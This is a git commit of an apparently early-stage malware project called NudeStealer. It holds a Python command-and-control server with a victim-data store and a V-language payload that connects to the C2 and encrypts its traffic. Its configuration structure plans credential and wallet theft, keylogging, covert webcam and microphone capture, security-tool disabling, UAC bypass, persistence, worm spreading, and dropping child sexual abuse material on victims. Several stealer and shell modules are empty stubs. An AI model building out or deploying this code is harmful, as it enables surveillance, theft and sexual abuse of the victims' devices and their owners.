Initial commit
This commit is contained in:
6
README.txt
Normal file
6
README.txt
Normal file
@@ -0,0 +1,6 @@
|
|||||||
|
PS C:\Users\wm\Documents\projects\NudeStealer\payload> v version
|
||||||
|
V 0.5.0 5e0489f
|
||||||
|
PS C:\Users\wm\Documents\projects\NudeStealer\payload>
|
||||||
|
|
||||||
|
|
||||||
|
.\build_payload.ps1 debug c run
|
||||||
69
__main__.py
Normal file
69
__main__.py
Normal file
@@ -0,0 +1,69 @@
|
|||||||
|
import base64
|
||||||
|
import os
|
||||||
|
import asyncio
|
||||||
|
import multiprocessing
|
||||||
|
|
||||||
|
from serverside.consts import logger, running_tasks, DATABASE_FILE, BASE_DIR, CONFIG_TEMPLATE, __projname__, __version__, __author__
|
||||||
|
from serverside.http_s import start_server
|
||||||
|
from serverside.database_s import init_db
|
||||||
|
from serverside.util_s import stop_all, run_in_thread
|
||||||
|
from ui.ui_ux import start_ui
|
||||||
|
|
||||||
|
async def main() -> None:
|
||||||
|
if not os.path.exists(BASE_DIR / "configuration.ini"):
|
||||||
|
logger.error("Configuration file not found. Creating template configuration.ini in the base directory.")
|
||||||
|
with open(BASE_DIR / "configuration.ini", "w", encoding="utf-8") as f:
|
||||||
|
f.write(CONFIG_TEMPLATE.strip())
|
||||||
|
logger.info("Template configuration.ini created. Please review and update the configuration file before running the server again. Waiting for 10 seconds before exiting...")
|
||||||
|
await asyncio.sleep(10.0)
|
||||||
|
return
|
||||||
|
|
||||||
|
|
||||||
|
if not os.path.exists(DATABASE_FILE):
|
||||||
|
logger.info("Database file not found. Initializing new database...")
|
||||||
|
try:
|
||||||
|
init_db()
|
||||||
|
logger.info("Database initialized successfully.")
|
||||||
|
except Exception as e:
|
||||||
|
logger.error(f"An error occurred while initializing the database: {e}")
|
||||||
|
else:
|
||||||
|
logger.info("Database file found. Skipping initialization.")
|
||||||
|
|
||||||
|
|
||||||
|
logger.info("NudeStealer http Server is starting...")
|
||||||
|
try:
|
||||||
|
running_tasks["server"] = asyncio.create_task(start_server())
|
||||||
|
logger.info("NudeStealer http Server has started successfully.")
|
||||||
|
except Exception as e:
|
||||||
|
logger.error(f"An error occurred while starting the http server: {e}")
|
||||||
|
return
|
||||||
|
|
||||||
|
|
||||||
|
logger.info("Starting the UI...")
|
||||||
|
try:
|
||||||
|
running_tasks["ui"] = asyncio.create_task(run_in_thread("UI", start_ui))
|
||||||
|
#start_ui()
|
||||||
|
logger.info("UI has started successfully.")
|
||||||
|
except Exception as e:
|
||||||
|
logger.error(f"An error occurred while starting the UI: {e}")
|
||||||
|
return
|
||||||
|
|
||||||
|
print(running_tasks)
|
||||||
|
|
||||||
|
#await asyncio.gather(*running_tasks.values())
|
||||||
|
while True:
|
||||||
|
await asyncio.sleep(1)
|
||||||
|
|
||||||
|
|
||||||
|
if __name__ == "__main__":
|
||||||
|
multiprocessing.freeze_support()
|
||||||
|
if __projname__ == base64.decodebytes(b"TnVkZVN0ZWFsZXIgU2VydmVy").decode("utf-8"):
|
||||||
|
|
||||||
|
try:
|
||||||
|
from serverside.helpers.config import get
|
||||||
|
#print(get("network", "port", fallback=80))
|
||||||
|
logger.info(f"NudeStealer Server v{__version__} by {__author__}")
|
||||||
|
logger.debug(get("ui", "port") == get("network", "port"))
|
||||||
|
asyncio.run(main())
|
||||||
|
except KeyboardInterrupt:
|
||||||
|
asyncio.run(stop_all())
|
||||||
45
configuration.ini
Normal file
45
configuration.ini
Normal file
@@ -0,0 +1,45 @@
|
|||||||
|
[general]
|
||||||
|
app_name = NuDe Stealer
|
||||||
|
banner = /hbf mission / Operation
|
||||||
|
version = 1.0.0
|
||||||
|
# Only allows local connections, developer only debug features enabled
|
||||||
|
debug = True
|
||||||
|
|
||||||
|
[paths]
|
||||||
|
# you might as well change these if you want to keep things organized, but they can be left as is
|
||||||
|
log_file_name = nudestealer_log.log
|
||||||
|
database_file_name = nudestealer.sqlite3
|
||||||
|
# Folder where victim data will be stored sorted after
|
||||||
|
# their UUID, last updated state (date), IP address/country & account username
|
||||||
|
# note, the data will be encrypted if use_ascon is enabled and the data in this folder not readable, only through the UI
|
||||||
|
vic_data_folder = vic_data
|
||||||
|
|
||||||
|
[ui]
|
||||||
|
# port the ui will run on
|
||||||
|
port = 56200
|
||||||
|
|
||||||
|
[network]
|
||||||
|
# host the http server will bind to, for public linux hosts 0.0.0.0 is recommended
|
||||||
|
host = 127.0.0.1
|
||||||
|
# port the http server will run on
|
||||||
|
port = 56000
|
||||||
|
# whether to encrypt data before sending it via Ascon-AEAD128
|
||||||
|
# note, the data will be encrypted if this is enabled and the data in the vic data folder not readable, only through the UI
|
||||||
|
use_ascon = True
|
||||||
|
use_x25519 = True
|
||||||
|
# ratelimits for 5 minutes after exceeding 60 requests / minute (60 seconds) from the same IP
|
||||||
|
ratelimit = True
|
||||||
|
# 0 for unlimited
|
||||||
|
max_concurrent_connections = 0
|
||||||
|
|
||||||
|
[administration]
|
||||||
|
# admin account username and password, change these before running the server for the first time
|
||||||
|
systemadmin_username = 0xschoolshooter
|
||||||
|
systemadmin_password = password
|
||||||
|
# if you set this to true, you will also self-host an API server, that means your C2 is only online for as long as your device is online.
|
||||||
|
# well, perhaps you are interested in hosting the C2 on a different - secure network, so you should look into:
|
||||||
|
# https://git.fingeri.ng/dff/NuDe-C2
|
||||||
|
self_host = True
|
||||||
|
|
||||||
|
[online_hosted]
|
||||||
|
api_uri = 95.228.40.87
|
||||||
8
payload/.editorconfig
Normal file
8
payload/.editorconfig
Normal file
@@ -0,0 +1,8 @@
|
|||||||
|
[*]
|
||||||
|
charset = utf-8
|
||||||
|
end_of_line = lf
|
||||||
|
insert_final_newline = true
|
||||||
|
trim_trailing_whitespace = true
|
||||||
|
|
||||||
|
[*.v]
|
||||||
|
indent_style = tab
|
||||||
8
payload/.gitattributes
vendored
Normal file
8
payload/.gitattributes
vendored
Normal file
@@ -0,0 +1,8 @@
|
|||||||
|
* text=auto eol=lf
|
||||||
|
*.bat eol=crlf
|
||||||
|
|
||||||
|
*.v linguist-language=V
|
||||||
|
*.vv linguist-language=V
|
||||||
|
*.vsh linguist-language=V
|
||||||
|
v.mod linguist-language=V
|
||||||
|
.vdocignore linguist-language=ignore
|
||||||
27
payload/.gitignore
vendored
Normal file
27
payload/.gitignore
vendored
Normal file
@@ -0,0 +1,27 @@
|
|||||||
|
# Binaries for programs and plugins
|
||||||
|
main
|
||||||
|
NudeStealer
|
||||||
|
*.exe
|
||||||
|
*.exe~
|
||||||
|
*.so
|
||||||
|
*.dylib
|
||||||
|
*.dll
|
||||||
|
|
||||||
|
# Ignore binary output folders
|
||||||
|
bin/
|
||||||
|
|
||||||
|
# Ignore common editor/system specific metadata
|
||||||
|
.DS_Store
|
||||||
|
.idea/
|
||||||
|
.vscode/
|
||||||
|
*.iml
|
||||||
|
|
||||||
|
# ENV
|
||||||
|
.env
|
||||||
|
|
||||||
|
# vweb and database
|
||||||
|
*.db
|
||||||
|
*.js
|
||||||
|
|
||||||
|
# Ignore installed modules through `v install --local`:
|
||||||
|
modules/
|
||||||
36
payload/build_payload.ps1
Normal file
36
payload/build_payload.ps1
Normal file
@@ -0,0 +1,36 @@
|
|||||||
|
param(
|
||||||
|
[ValidateSet("debug", "release", "size")]
|
||||||
|
[string]$mode = "size",
|
||||||
|
|
||||||
|
[ValidateSet("native", "c", "js_node", "go")]
|
||||||
|
[string]$target = "c",
|
||||||
|
|
||||||
|
[ValidateSet("build", "run")]
|
||||||
|
[string]$action = "build"
|
||||||
|
)
|
||||||
|
|
||||||
|
if (-not (Test-Path "build")) {
|
||||||
|
New-Item -ItemType Directory -Path "build" | Out-Null
|
||||||
|
}
|
||||||
|
|
||||||
|
if ($mode -eq "debug") {
|
||||||
|
v -g -cg -b $target -enable-globals -o build/nude_bug .
|
||||||
|
}
|
||||||
|
elseif ($mode -eq "release") {
|
||||||
|
v -prod -cflags "-O3" -Wfatal-errors -enable-globals -q -skip-unused -b $target -o build/nude_release .
|
||||||
|
}
|
||||||
|
elseif ($mode -eq "size") {
|
||||||
|
v -prod -cflags "-Os -s" -Wfatal-errors -enable-globals -q -skip-unused -b $target -o build/nude_optimized .
|
||||||
|
}
|
||||||
|
|
||||||
|
$exe = switch ($mode) {
|
||||||
|
"debug" { "nude_bug.exe" }
|
||||||
|
"release" { "nude_release.exe" }
|
||||||
|
"size" { "nude_optimized.exe" }
|
||||||
|
}
|
||||||
|
|
||||||
|
$v_output = Join-Path -Path "build" -ChildPath $exe
|
||||||
|
|
||||||
|
if ($action -eq "run") {
|
||||||
|
& $v_output
|
||||||
|
}
|
||||||
8
payload/configuration.v
Normal file
8
payload/configuration.v
Normal file
@@ -0,0 +1,8 @@
|
|||||||
|
module main
|
||||||
|
|
||||||
|
import structs
|
||||||
|
|
||||||
|
pub const configuration = structs.ConfStruct{
|
||||||
|
websocket : 'Müller',
|
||||||
|
fake_error_msg : true,
|
||||||
|
}
|
||||||
11
payload/core/connect.v
Normal file
11
payload/core/connect.v
Normal file
@@ -0,0 +1,11 @@
|
|||||||
|
module core
|
||||||
|
|
||||||
|
import net.websocket
|
||||||
|
|
||||||
|
fn connect_ws(url string) ?&websocket.Client {
|
||||||
|
mut ws := websocket.new_client(url) ?
|
||||||
|
|
||||||
|
ws.connect() ?
|
||||||
|
|
||||||
|
return &ws
|
||||||
|
}
|
||||||
11
payload/core/constants.v
Normal file
11
payload/core/constants.v
Normal file
@@ -0,0 +1,11 @@
|
|||||||
|
module core
|
||||||
|
|
||||||
|
__global (
|
||||||
|
logs Logger
|
||||||
|
)
|
||||||
|
|
||||||
|
pub fn initialize() {
|
||||||
|
logs = Logger{}
|
||||||
|
|
||||||
|
logs.debug('core:constants:initialize', 'test')
|
||||||
|
}
|
||||||
46
payload/core/logger.v
Normal file
46
payload/core/logger.v
Normal file
@@ -0,0 +1,46 @@
|
|||||||
|
module core
|
||||||
|
|
||||||
|
import time
|
||||||
|
|
||||||
|
enum LogLevel {
|
||||||
|
info
|
||||||
|
debug
|
||||||
|
error
|
||||||
|
}
|
||||||
|
|
||||||
|
pub struct Logger {
|
||||||
|
mut:
|
||||||
|
logs string
|
||||||
|
}
|
||||||
|
|
||||||
|
fn log_level_str(level LogLevel) string {
|
||||||
|
return match level {
|
||||||
|
.info { 'INFO' }
|
||||||
|
.debug { 'DEBUG' }
|
||||||
|
.error { 'ERROR' }
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
pub fn (mut l Logger) log(mod string, level LogLevel, msg string) {
|
||||||
|
timestamp := time.now().format_ss_milli()
|
||||||
|
full_msg := '[$timestamp] [${log_level_str(level)}] [$mod] $msg'
|
||||||
|
|
||||||
|
println(full_msg)
|
||||||
|
|
||||||
|
l.logs += full_msg + '\n'
|
||||||
|
}
|
||||||
|
|
||||||
|
pub fn (mut l Logger) info(mod string, msg string) {
|
||||||
|
l.log(mod, .info, msg)
|
||||||
|
}
|
||||||
|
|
||||||
|
pub fn (mut l Logger) debug(mod string, msg string) {
|
||||||
|
l.log(mod, .debug, msg)
|
||||||
|
}
|
||||||
|
|
||||||
|
pub fn (mut l Logger) error(mod string, msg string) {
|
||||||
|
l.log(mod, .error, msg)
|
||||||
|
}
|
||||||
|
pub fn (l Logger) get_logs() string {
|
||||||
|
return l.logs
|
||||||
|
}
|
||||||
117
payload/cryptography/cryptography.v
Normal file
117
payload/cryptography/cryptography.v
Normal file
@@ -0,0 +1,117 @@
|
|||||||
|
module cryptography
|
||||||
|
|
||||||
|
import x.crypto.ascon
|
||||||
|
import crypto.rand
|
||||||
|
import crypto.hmac
|
||||||
|
import x.crypto.curve25519
|
||||||
|
import crypto.sha256
|
||||||
|
import encoding.base64
|
||||||
|
import structs
|
||||||
|
|
||||||
|
fn ascon_key_generator() string {
|
||||||
|
key := rand.bytes(ascon.key_size) or {
|
||||||
|
logs.error('cryptography:cryptography:ascon_key_generator', 'ascon key generation failed due to: \'$err\'')
|
||||||
|
return ''
|
||||||
|
}
|
||||||
|
return key.hex()
|
||||||
|
}
|
||||||
|
|
||||||
|
fn ascon_encrypt(key_hex string, plaintext string) string {
|
||||||
|
key := []u8(key_hex.hex())
|
||||||
|
nonce := rand.bytes(ascon.nonce_size) or {
|
||||||
|
logs.error('cryptography:cryptography:ascon_encrypt', 'nonce generation failed due to: \'$err\'')
|
||||||
|
return ''
|
||||||
|
}
|
||||||
|
ad := []u8{}
|
||||||
|
|
||||||
|
ciphertext := ascon.encrypt(key, nonce, ad, plaintext.bytes()) or {
|
||||||
|
logs.error('cryptography:cryptography:ascon_encrypt', 'encrypt failed: \'$err\'')
|
||||||
|
return ''
|
||||||
|
}
|
||||||
|
|
||||||
|
mut combined := []u8{len: nonce.len + ciphertext.len}
|
||||||
|
combined << nonce
|
||||||
|
combined << ciphertext
|
||||||
|
data_b64 := base64.encode(combined)
|
||||||
|
|
||||||
|
return data_b64
|
||||||
|
}
|
||||||
|
|
||||||
|
fn ascon_decrypt(key_hex string, data_b64 string) string {
|
||||||
|
key := []u8(key_hex.hex())
|
||||||
|
combined := base64.decode(data_b64)
|
||||||
|
|
||||||
|
if combined.len < ascon.nonce_size {
|
||||||
|
logs.error('cryptography:cryptography:ascon_decrypt', 'data blob is too short')
|
||||||
|
return ''
|
||||||
|
}
|
||||||
|
|
||||||
|
nonce := combined[..ascon.nonce_size]
|
||||||
|
ciphertext := combined[ascon.nonce_size..]
|
||||||
|
|
||||||
|
plaintext_bytes := ascon.decrypt(key, nonce, []u8{}, ciphertext) or {
|
||||||
|
logs.error('cryptography:cryptography:ascon_decrypt', 'decrypt failed: \'$err\'')
|
||||||
|
return ''
|
||||||
|
}
|
||||||
|
|
||||||
|
return plaintext_bytes.bytestr()
|
||||||
|
}
|
||||||
|
|
||||||
|
fn generate_keypair() !structs.KeyPair {
|
||||||
|
mut secret_key_bytes := curve25519.PrivateKey.new() or {
|
||||||
|
logs.error('cryptography:cryptography:generate_keypair', 'x25519 secret key generation failed due to: \'$err\'')
|
||||||
|
return error('x25519 secret key generation failed due to: \'$err\'')
|
||||||
|
}
|
||||||
|
public_key_bytes := secret_key_bytes.public_key() or {
|
||||||
|
logs.error('cryptography:cryptography:generate_keypair', 'x25519 public key computation/generation failed due to: \'$err\'')
|
||||||
|
return error('x25519 public key computation/generation failed due to: \'$err\'')
|
||||||
|
}
|
||||||
|
|
||||||
|
logs.info('cryptography:cryptography:generate_keypair', 'Generated x25519 keypair')
|
||||||
|
return structs.KeyPair{
|
||||||
|
secret: secret_key_bytes
|
||||||
|
public: public_key_bytes
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
fn compute_shared_secret(mut secret_key curve25519.PrivateKey, public_key curve25519.PublicKey) ![]u8 {
|
||||||
|
shared_secret_raw := curve25519.derive_shared_secret(mut secret_key, public_key) or {
|
||||||
|
logs.error('cryptography:cryptography:compute_shared_secret', 'x25519 raw shared_secret computation/derivation failed due to: \'$err\'')
|
||||||
|
return []u8{}
|
||||||
|
}
|
||||||
|
|
||||||
|
logs.info('cryptography:cryptography:compute_shared_secret', 'Computed x25519 raw shared_secret')
|
||||||
|
return shared_secret_raw
|
||||||
|
}
|
||||||
|
|
||||||
|
fn hkdf_sha256(ikm []u8, salt []u8, length int) []u8 {
|
||||||
|
prk := hmac.new(salt, ikm, sha256.sum, sha256.block_size)
|
||||||
|
|
||||||
|
info := []u8{}
|
||||||
|
mut okm := []u8{}
|
||||||
|
mut previous_block := []u8{}
|
||||||
|
mut counter := u8(1)
|
||||||
|
|
||||||
|
for okm.len < length {
|
||||||
|
mut block_input := previous_block.clone()
|
||||||
|
block_input << info
|
||||||
|
block_input << counter
|
||||||
|
|
||||||
|
block := hmac.new(prk, block_input, sha256.sum, sha256.block_size)
|
||||||
|
|
||||||
|
okm << block
|
||||||
|
previous_block = block.clone()
|
||||||
|
counter++
|
||||||
|
}
|
||||||
|
|
||||||
|
logs.info('cryptography:cryptography:hkdf_sha256', 'Derived HMAC-x25519 shared_secret')
|
||||||
|
return okm[..length]
|
||||||
|
}
|
||||||
|
|
||||||
|
fn salt_randomizer() []u8 {
|
||||||
|
logs.info('cryptography:cryptography:salt_randomizer', 'Generated CSPRNG randomized salt')
|
||||||
|
return rand.bytes(32) or {
|
||||||
|
logs.error('cryptography:cryptography:salt_randomizer', 'CSPRNG randomized salt generation failed due to: \'$err\'')
|
||||||
|
return []u8{}
|
||||||
|
}
|
||||||
|
}
|
||||||
0
payload/exfil/discord_stealer.v
Normal file
0
payload/exfil/discord_stealer.v
Normal file
0
payload/exfil/screenshot.v
Normal file
0
payload/exfil/screenshot.v
Normal file
0
payload/exfil/system_information_stealer.v
Normal file
0
payload/exfil/system_information_stealer.v
Normal file
27
payload/main.v
Normal file
27
payload/main.v
Normal file
@@ -0,0 +1,27 @@
|
|||||||
|
module main
|
||||||
|
|
||||||
|
import core
|
||||||
|
import cryptography
|
||||||
|
|
||||||
|
fn main() {
|
||||||
|
core.initialize()
|
||||||
|
logs.info('main:main:main', 'Called initiliazer func!')
|
||||||
|
|
||||||
|
go fn(ch chan WsResult) {
|
||||||
|
conn := core.establish_ws_conn() or {
|
||||||
|
ch <- WsResult{err: 'Could not establish WS: $err'}
|
||||||
|
return
|
||||||
|
}
|
||||||
|
ch <- WsResult{conn: conn}
|
||||||
|
}(ch)
|
||||||
|
|
||||||
|
logs.info('main:main:main', 'Connecting to \'$configuration.websocket\'.')
|
||||||
|
|
||||||
|
res := <-ch
|
||||||
|
|
||||||
|
if res.err != none {
|
||||||
|
logs.error('main:main:main', res.err or { 'Unknown error' })
|
||||||
|
} else {
|
||||||
|
logs.info('main:main:main', 'Successfully connected to WS on \'$configuration.websocket\'.')
|
||||||
|
}
|
||||||
|
}
|
||||||
213
payload/structs/conf_struct.v
Normal file
213
payload/structs/conf_struct.v
Normal file
@@ -0,0 +1,213 @@
|
|||||||
|
module structs
|
||||||
|
|
||||||
|
pub struct ConfStruct {
|
||||||
|
pub mut:
|
||||||
|
websocket string
|
||||||
|
//use_ascon bool
|
||||||
|
//use_x_asymmetric_key_exchange bool
|
||||||
|
allow_remote_control bool // allow c2 live access other than this
|
||||||
|
reconnect_rate string // 'retries per minute/wait period after'
|
||||||
|
start_delay int // in seconds
|
||||||
|
auto_update bool
|
||||||
|
update_delay int // in minutes
|
||||||
|
updater_keep_old_version bool
|
||||||
|
live_json_config_priority bool // whether to prefer an encrypted json object (randomly dropped on device to store updated configs)
|
||||||
|
// over this hardcoded configuration, this cannot be changed
|
||||||
|
// and is recommended to be set to true except for highly sensitive systems
|
||||||
|
|
||||||
|
melt_stub bool
|
||||||
|
fake_error_msg bool
|
||||||
|
fake_error_text_msg string
|
||||||
|
anti_kill bool
|
||||||
|
anti_kill_bsod bool
|
||||||
|
anti_vm bool
|
||||||
|
anti_debug bool
|
||||||
|
anti_analysis bool
|
||||||
|
persistence bool
|
||||||
|
persistence_type persistence_type_helper
|
||||||
|
|
||||||
|
webcam_snapshot bool
|
||||||
|
webcam_snapshot_repeat bool
|
||||||
|
webcam_snap_repeat_delay int
|
||||||
|
microphone_record bool
|
||||||
|
microphone_record_time int // in seconds
|
||||||
|
microphone_recording_repeat bool
|
||||||
|
microphone_recording_repeat_delay int // in minutes, how many minutes to wait until the next recording of x microphone_record_time's length
|
||||||
|
|
||||||
|
disable_cam_indicator_light bool
|
||||||
|
|
||||||
|
screenshot bool
|
||||||
|
|
||||||
|
keylogger bool
|
||||||
|
app_injection bool
|
||||||
|
network_spreading bool
|
||||||
|
usb_spreading bool
|
||||||
|
system_worm bool
|
||||||
|
|
||||||
|
detect_location bool // tries to gain precise geolocation access
|
||||||
|
detect_age_group bool
|
||||||
|
detect_languages_spoken bool
|
||||||
|
detect_gender bool // based on files, system name, location, recent typing activity ect. using BERT ai transformer
|
||||||
|
|
||||||
|
hook_system_password bool
|
||||||
|
|
||||||
|
|
||||||
|
dropper []DropperConfStruct
|
||||||
|
|
||||||
|
exploitation ExploitationConfStruct
|
||||||
|
exfiltration StealerConfStruct
|
||||||
|
|
||||||
|
drainer []WalletConfStruct
|
||||||
|
clipper []WalletConfStruct
|
||||||
|
miner []WalletConfStruct
|
||||||
|
|
||||||
|
plugins SelectiveConfStruct
|
||||||
|
misc FunConfStruct
|
||||||
|
}
|
||||||
|
|
||||||
|
pub struct StealerConfStruct {
|
||||||
|
pub mut:
|
||||||
|
network_data bool
|
||||||
|
system_data bool
|
||||||
|
messenger_data bool
|
||||||
|
mail_data bool
|
||||||
|
game_data bool
|
||||||
|
application_data bool
|
||||||
|
workplace_data bool
|
||||||
|
wallet_data bool
|
||||||
|
browser_data bool
|
||||||
|
|
||||||
|
wallet_drainer bool
|
||||||
|
crypto_clipper bool
|
||||||
|
crypto_miner bool
|
||||||
|
}
|
||||||
|
|
||||||
|
pub struct ExploitationConfStruct {
|
||||||
|
uac_bypass bool
|
||||||
|
disable_reagentc bool
|
||||||
|
destroy_defender bool
|
||||||
|
disable_defender bool
|
||||||
|
disable_etw bool
|
||||||
|
amsi_bypass bool
|
||||||
|
}
|
||||||
|
|
||||||
|
pub struct WalletConfStruct { // for Drainer, Clipper & Miner Config
|
||||||
|
pub mut:
|
||||||
|
coin crypto_coin_helper
|
||||||
|
wallet_address string
|
||||||
|
miner_usage &int // optional, only used by miner, beneath the same
|
||||||
|
miner_mode &crypto_miner_mode
|
||||||
|
}
|
||||||
|
|
||||||
|
pub struct SelectiveConfStruct {
|
||||||
|
blacklist_countries []string
|
||||||
|
defender_exclusion_stub bool
|
||||||
|
defender_exclusion_other bool
|
||||||
|
defender_excluded_files []string
|
||||||
|
defender_excluded_folders []string
|
||||||
|
steal_common_files bool
|
||||||
|
delete_common_files bool
|
||||||
|
steal_important_files bool
|
||||||
|
delete_important_files bool
|
||||||
|
important_file_types []string
|
||||||
|
common_file_types []string
|
||||||
|
}
|
||||||
|
|
||||||
|
pub struct DropperConfStruct {
|
||||||
|
pub mut:
|
||||||
|
file_type dropper_file_type_helper
|
||||||
|
file_link string
|
||||||
|
execute bool
|
||||||
|
save_on_disk bool
|
||||||
|
save_location string
|
||||||
|
startup bool
|
||||||
|
}
|
||||||
|
|
||||||
|
pub struct FunConfStruct {
|
||||||
|
pub mut:
|
||||||
|
drop_porn bool
|
||||||
|
drop_child_porn bool
|
||||||
|
drop_rape bool
|
||||||
|
drop_gore bool
|
||||||
|
drop_cats bool
|
||||||
|
drop_unicorns bool
|
||||||
|
|
||||||
|
lock_screen bool
|
||||||
|
|
||||||
|
gmailer bool
|
||||||
|
yahoomailer bool
|
||||||
|
mail_contents string
|
||||||
|
|
||||||
|
random_sounds bool
|
||||||
|
|
||||||
|
random_secret_file_deletion bool
|
||||||
|
|
||||||
|
random_fast_file_deletion bool
|
||||||
|
|
||||||
|
random_secret_app_deletion bool
|
||||||
|
|
||||||
|
disable_task_mngr bool
|
||||||
|
disable_explorer bool
|
||||||
|
|
||||||
|
change_cursor_icon bool
|
||||||
|
cursor_icon_uri string
|
||||||
|
|
||||||
|
swap_wallpaper bool
|
||||||
|
wallpaper_uri string
|
||||||
|
|
||||||
|
invert_screen_colors_random bool
|
||||||
|
|
||||||
|
max_system_volume_random bool
|
||||||
|
|
||||||
|
disable_keyboard bool
|
||||||
|
disable_mouse bool
|
||||||
|
microphone_echo_effect bool
|
||||||
|
|
||||||
|
porn_detection bool // detect porn on the monitor gradually, when detected take webcam snapshot and submit to c2 api
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
// helper structs
|
||||||
|
|
||||||
|
pub struct country_helper {
|
||||||
|
pub mut:
|
||||||
|
country string
|
||||||
|
}
|
||||||
|
|
||||||
|
pub struct file_type_helper {
|
||||||
|
pub mut:
|
||||||
|
file_type string
|
||||||
|
}
|
||||||
|
|
||||||
|
enum persistence_type_helper {
|
||||||
|
registry
|
||||||
|
taskschd
|
||||||
|
shell_startup
|
||||||
|
shell_common_startup
|
||||||
|
}
|
||||||
|
|
||||||
|
enum crypto_coin_helper {
|
||||||
|
ltc
|
||||||
|
btc
|
||||||
|
eth
|
||||||
|
xmr
|
||||||
|
sol
|
||||||
|
usdt
|
||||||
|
}
|
||||||
|
|
||||||
|
enum crypto_miner_mode {
|
||||||
|
cpu
|
||||||
|
gpu
|
||||||
|
}
|
||||||
|
|
||||||
|
enum dropper_file_type_helper {
|
||||||
|
exe
|
||||||
|
bat
|
||||||
|
ps1
|
||||||
|
zip
|
||||||
|
rar
|
||||||
|
js
|
||||||
|
dll
|
||||||
|
donut_pic_shellcode
|
||||||
|
shortcut
|
||||||
|
}
|
||||||
14
payload/structs/struct.v
Normal file
14
payload/structs/struct.v
Normal file
@@ -0,0 +1,14 @@
|
|||||||
|
module structs
|
||||||
|
|
||||||
|
import x.crypto.curve25519
|
||||||
|
|
||||||
|
pub struct KeyPair {
|
||||||
|
pub:
|
||||||
|
secret &curve25519.PrivateKey
|
||||||
|
public &curve25519.PublicKey
|
||||||
|
}
|
||||||
|
|
||||||
|
pub struct op_codes {
|
||||||
|
pub:
|
||||||
|
op_code string
|
||||||
|
}
|
||||||
7
payload/v.mod
Normal file
7
payload/v.mod
Normal file
@@ -0,0 +1,7 @@
|
|||||||
|
Module {
|
||||||
|
name: 'NudeStealer'
|
||||||
|
description: 'NuDeStealer is an R&D post-exploitation C2 cross-platform framework written in a combination of V-lang and python, suitable for any red team operations you might have in mind.'
|
||||||
|
version: '1.0.0'
|
||||||
|
license: '0BSD'
|
||||||
|
dependencies: []
|
||||||
|
}
|
||||||
0
payload/ws_live/hvnc.v
Normal file
0
payload/ws_live/hvnc.v
Normal file
0
payload/ws_live/revshell.v
Normal file
0
payload/ws_live/revshell.v
Normal file
6
requirements.txt
Normal file
6
requirements.txt
Normal file
@@ -0,0 +1,6 @@
|
|||||||
|
ascon==0.0.9
|
||||||
|
nicegui==3.7.1
|
||||||
|
starlette==0.52.1
|
||||||
|
uvicorn==0.41.0
|
||||||
|
pywebview==6.1
|
||||||
|
cryptography==46.0.5
|
||||||
59
serverside/consts.py
Normal file
59
serverside/consts.py
Normal file
@@ -0,0 +1,59 @@
|
|||||||
|
__projname__ = "NudeStealer Server"
|
||||||
|
__author__ = "0xschoolshooter"
|
||||||
|
__version__ = "1.0.0"
|
||||||
|
__title__ = f"{__projname__} v{__version__} ~ by {__author__}"
|
||||||
|
|
||||||
|
|
||||||
|
from pathlib import Path
|
||||||
|
from concurrent.futures import ThreadPoolExecutor
|
||||||
|
from .helpers.logger import setup_logger
|
||||||
|
from serverside.helpers.config import get
|
||||||
|
|
||||||
|
logger = setup_logger()
|
||||||
|
|
||||||
|
running_tasks = {}
|
||||||
|
executor = ThreadPoolExecutor(max_workers=2)
|
||||||
|
|
||||||
|
BASE_DIR = Path(__file__).resolve().parent.parent
|
||||||
|
LOG_FILE = BASE_DIR / get("paths", "log_file_name", fallback="nudestealer_log.log")
|
||||||
|
|
||||||
|
DATABASE_FILE = BASE_DIR / get("paths", "database_file_name", fallback="nudestealer.sqlite3")
|
||||||
|
|
||||||
|
CONFIG_TEMPLATE = """
|
||||||
|
[general]
|
||||||
|
app_name = NuDe Stealer
|
||||||
|
banner = /hbf mission / Operation
|
||||||
|
version = 1.0.0
|
||||||
|
# Only allows local connections, developer only debug features enabled
|
||||||
|
debug = false
|
||||||
|
|
||||||
|
[paths]
|
||||||
|
# you might as well change these if you want to keep things organized, but they can be left as is
|
||||||
|
log_file_name = nudestealer_log.log
|
||||||
|
database_file_name = nudestealer.sqlite3
|
||||||
|
# Folder where victim data will be stored after
|
||||||
|
# their UUID, last updated state (date), IP address/country & account username
|
||||||
|
# note, the data will be encrypted if use_ascon is enabled and the data in this folder not readable, only through the UI
|
||||||
|
vic_data_folder = vic_data
|
||||||
|
|
||||||
|
[network]
|
||||||
|
# host the http server will bind to, for public linux hosts 0.0.0.0 is recommended
|
||||||
|
host = 127.0.0.1
|
||||||
|
# port the http server will run on
|
||||||
|
port = 80
|
||||||
|
# whether to encrypt data before sending it via Ascon-AEAD128
|
||||||
|
# note, the data will be encrypted if this is enabled and the data in the vic data folder not readable, only through the UI
|
||||||
|
use_ascon = True
|
||||||
|
# ratelimits for 5 minutes after exceeding 60 requests / minute (60 seconds) from the same IP
|
||||||
|
ratelimit = True
|
||||||
|
# 0 for unlimited
|
||||||
|
max_concurrent_connections = 0
|
||||||
|
|
||||||
|
[administration]
|
||||||
|
# admin account username and password, change these before running the server for the first time
|
||||||
|
systemadmin_username = admin
|
||||||
|
systemadmin_password = nudestealer
|
||||||
|
# if you set this to true, you will also self-host an API server, that means your C2 is only online for as long as your device is online.
|
||||||
|
# well, perhaps you are interested in hosting the C2 on a different - secure network, so you should look into:
|
||||||
|
# https://git.fingeri.ng/dff/nude-stealer
|
||||||
|
self_host = True"""
|
||||||
72
serverside/cryptography.py
Normal file
72
serverside/cryptography.py
Normal file
@@ -0,0 +1,72 @@
|
|||||||
|
import os
|
||||||
|
import base64
|
||||||
|
import ascon
|
||||||
|
import hashlib
|
||||||
|
import secrets
|
||||||
|
from cryptography.hazmat.primitives.asymmetric import x25519
|
||||||
|
from cryptography.hazmat.primitives.kdf.hkdf import HKDF
|
||||||
|
from cryptography.hazmat.primitives import hashes
|
||||||
|
from typing import Tuple
|
||||||
|
|
||||||
|
def ascon_key_generator() -> str:
|
||||||
|
key = os.urandom(16)
|
||||||
|
return key.hex()
|
||||||
|
|
||||||
|
def encrypt(key_hex: str, plaintext: str) -> str:
|
||||||
|
key = bytes.fromhex(key_hex)
|
||||||
|
nonce = os.urandom(16)
|
||||||
|
ad = b''
|
||||||
|
|
||||||
|
ciphertext = ascon.encrypt(key, nonce, ad, plaintext.encode(), variant="Ascon-AEAD128")
|
||||||
|
|
||||||
|
